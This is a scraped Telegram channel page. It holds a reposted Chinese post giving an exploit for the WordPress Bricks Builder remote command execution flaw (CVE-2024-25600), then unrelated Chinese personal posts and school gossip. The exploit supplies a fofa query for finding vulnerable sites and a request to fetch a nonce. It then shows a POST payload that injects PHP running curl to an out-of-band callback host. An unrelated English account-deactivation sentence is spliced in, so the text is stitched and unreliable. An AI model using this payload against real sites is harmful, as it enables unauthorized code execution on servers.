<NullPointerException> 二周目
الذهاب إلى القناة على Telegram
898
المشتركون
لا توجد بيانات24 ساعات
+27 أيام
+730 أيام
أرشيف المشاركات
Repost from 踹哈公寓
WordPress Bricks Builder远程命令执行漏洞(CVE-2024-25600)
fofa:body="/wp-content/themes/bricks/"
GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:96.0) Gecko/20100101 Firefox/96.0Connection: closeAccept-Encoding: gzip, deflate
获取nonce值
第二步执行rce
POST /wp-json/bricks/v1/render_element HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0Connection: closeContent-Length: 401Content-Type: application/jsonAccept-Encoding: gzip, deflate{ "postId": "1", "nonce": "c5b5949**", "element": { "name": "container", "settings": { "hasLoop": "true", "query": { "useQueryEditor": true, "queryEditor": "ob_start();echo
curl cnc4ej5blq62an78ck6giyhcffmdr5t56.oast.pro;$output=ob_get_contents();ob_end_clean();throw new Exception($output);", "objectType": "post" } } }}After reviewing your updated customer information, we have decided to deactivate your account because of some concerns we have regarding this information. Therefore, we have cancelled all your existing products and orders with us.
我这个人做人就四条准则
一是享乐至上和气为主 和我很好相处我基本不会生气 而且我也以我自己过得舒服为主
二是乐子主义 我就喜欢看乐子
三是灵活底线 基本上底线是没有的 但是有些原则问题是坚决不可能给你让步的
四是忠义 我到现在基本上绝大多数事都是我自己担着 没连累过兄弟
最讨厌的人就两类:背义负恩的人和欺骗感情的人
简单说一下二中和上中的瓜
二中那个女老师出轨其实如果不是有家庭的话我会觉得没有问题 但是既然是出轨那我只能说是纯纯脑缠 不过既然国内平台都爱戴上性别滤镜那我就不好说什么了 肯定是两个厕所互相吵
但是上中这个事就是纯纯的人渣 放在哪个职校都能引起风波更不要说是上海 TOP1 的学校了 连我一个两边厕所都逛的都觉得没什么性别滤镜能搞 我觉得这种事情如果国内平台还能打拳的话我只能说你国互联网无可救药了
个人认为逆天程度上中>二中
